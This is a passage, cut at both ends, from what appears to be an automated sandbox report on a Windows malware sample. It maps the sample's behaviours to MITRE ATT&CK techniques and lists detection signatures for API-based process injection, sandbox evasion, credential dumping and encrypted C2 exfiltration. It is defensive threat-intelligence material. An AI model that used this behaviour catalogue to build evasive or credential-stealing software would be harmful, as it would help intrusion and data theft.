Modification","attack_id":"T1553.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/006","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Defense Evasion","technique":"Stripped Payloads","attack_id":"T1027.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/008","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Defense Evasion","technique":"Junk Code Insertion","attack_id":"T1027.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/016","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – Anomalous PE file structure"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"suspicious","value":"Calls an API typically used to enumerate process encountered in a system snapshot"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Able to retrieve/open a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"},{"type":"informative","value":"Contains ability to query network adapter information (API string)"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Found registry location strings in memory"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about user accounts on a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to query service configuration on system (API string)"},{"type":"informative","value":"Queries services related registry keys"},{"type":"informative","value":"Able to enumerate service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"Able to enumerate permission groups in the domain"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"May attempt to implement anti-virtualization techniques using MAC address detection"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"informative","value":"GETs files from a web server (PE files)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Command and Control","technique":"Non-Standard Encoding","attack_id":"T1132.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/002","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"informative","value":"Contains ability to upload file/data"},{"type":"malicious","value":"Collects system information using POST request"},{"type":"suspicious","value":"POSTs data to a web server"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to enumerate permission groups in the domain","description":"file/memory contains long string with (Indicator: \"netusergetlocalgroups\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-981","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"VirtualFree\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"VirtualAlloc\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"ed):: : : : : : VirtualAllocG\" (Indicator: \"VirtualAlloc\"; Source: \"00000000-00007980.00000000.140767.00092000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"OpenThread\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"SetWaitableTimer\" (Indicator: \"SetWaitableTimer\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"WaitForMultipleObjects\" (Indicator: \"WaitForMultipleObjects\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"WaitForSingleObject\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"GetSystemTimeAsFileTime\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"ing GetTickCount64\" (Indicator: \"GetTickCount64\"; Source: \"00000000-00007980.00000000.140767.00092000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"file/memory contains long string with (Indicator: \"OpenProcessToken\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"FreeLibrary\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"LoadLibrary\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"syscall.LoadLibrary\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00007980.00000000.140767.01E03000.00000002.mdmp\")\n Found reference to API \"syscall._LoadLibrary\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00007980.00000000.140767.01E03000.00000002.mdmp\")\n Found reference to API \"syscall.procLoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00007980.00000000.140767.01E03000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"file/memory contains long string with (Indicator: \"RegSetValue\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"file/memory contains long string with (Indicator: \"OpenService\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"file/memory contains long string with (Indicator: \"SetFileTime\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"runtime.useAeshash\" (Indicator: \"Aes\"; Source: \"00000000-00007980.00000000.140767.01E03000.00000002.mdmp\")\n Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00007980.00000000.140767.369A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$25","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$26","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"Found reference to API \"BCryptOpenAlgorithmProvider\" (Indicator: \"BCryptOpenAlgorithmProvider\"; Source: \"00000000-00007980-00000C2C-1186578068\")\n Found reference to API \"BCryptGenerateSymmetricKey\" (Indicator: \"BCryptGenerateSymmetricKey\"; Source: \"00000000-00007980-00000C2C-1186578142\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"BCryptDecrypt\"; Source: \"00000000-00007980-00000C2C-1186578173\")\n Found reference to API \"BCryptEncrypt\" (Indicator: \"BCryptEncrypt\"; Source: \"00000000-00007980-00000C2C-1186578211\")\n Found reference to API \"BCryptDestroyKey\" (Indicator: \"BCryptDestroyKey\"; Source: \"00000000-00007980-00000C2C-1186578240\")\n Found reference to API \"BCryptCloseAlgorithmProvider\" (Indicator: \"BCryptCloseAlgorithmProvider\"; Source: \"00000000-00007980-00000C2C-1186578277\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"file/memory contains long string with (Indicator: \"CertCloseStore\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"CryptReleaseContext\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"CertOpenSystemStore\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"CryptAcquireContext\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"CertFreeCertificateContext\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"CertEnumCertificatesInStore\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00007980.00000000.140767.369A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00007980.00000000.140767.369A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$27","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Contains ability to perform AES/RC4 encryption (API string)\n Matched sigs: Able to utilize the Windows bcrypt cryptographic API\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains reference to crypto DLLs\n Matched sigs: Contains reference to cryptographic keys\n Matched sigs: Calls an API typically used to encrypt a block of data\n Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP\n Matched sigs: Calls an API typically used to decrypt a block of data\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: YARA signature match - ChaCha20 encryption algorithm","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007980-00000C2C-1186543009\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007980-00000C2C-1186543009\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007980-00000C2C-1186309798\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007980-00000C2C-1186544376\")\n Found string \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007980.00000000.140767.01E03000.00000002.mdmp\")\n Found string \"syscall.procGetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007980.00000000.140767.01E03000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"file/memory contains long string(File: 